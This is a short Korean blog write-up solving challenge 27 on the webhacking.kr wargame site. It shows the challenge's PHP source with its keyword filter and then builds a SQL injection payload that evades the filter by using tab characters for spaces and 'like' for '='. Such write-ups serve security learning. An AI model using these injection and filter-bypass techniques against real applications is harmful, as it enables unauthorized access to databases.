[webhacking.kr] 27번 문제 풀이[SQL Injection]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 27번 문제에 대한 풀이입니다.

문제

문제 화면

image

문제 소스 코드

  <?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>

문제 풀이

필터링 되는 문자들

1 2 3 4 5 6 7
# select ( %20 limit = 0x

sql

  select id from chall27 where id='guest' and no = ({});

해당 문제를 풀기 위한 1차 injection 문을 작성하면 다음과 같다

  4) or no = 2--  
  select id from chall27 where id='guest' and no = ( 4) or no = 2 -- ) 

해당 injection문에서 필터링을 우회하기 위해서 다음과 같이 바꿔준다.

  1. %20 -> %09
  2. = -> like
  4)%09or%09no%09like%092--%09

클리어

image

댓글남기기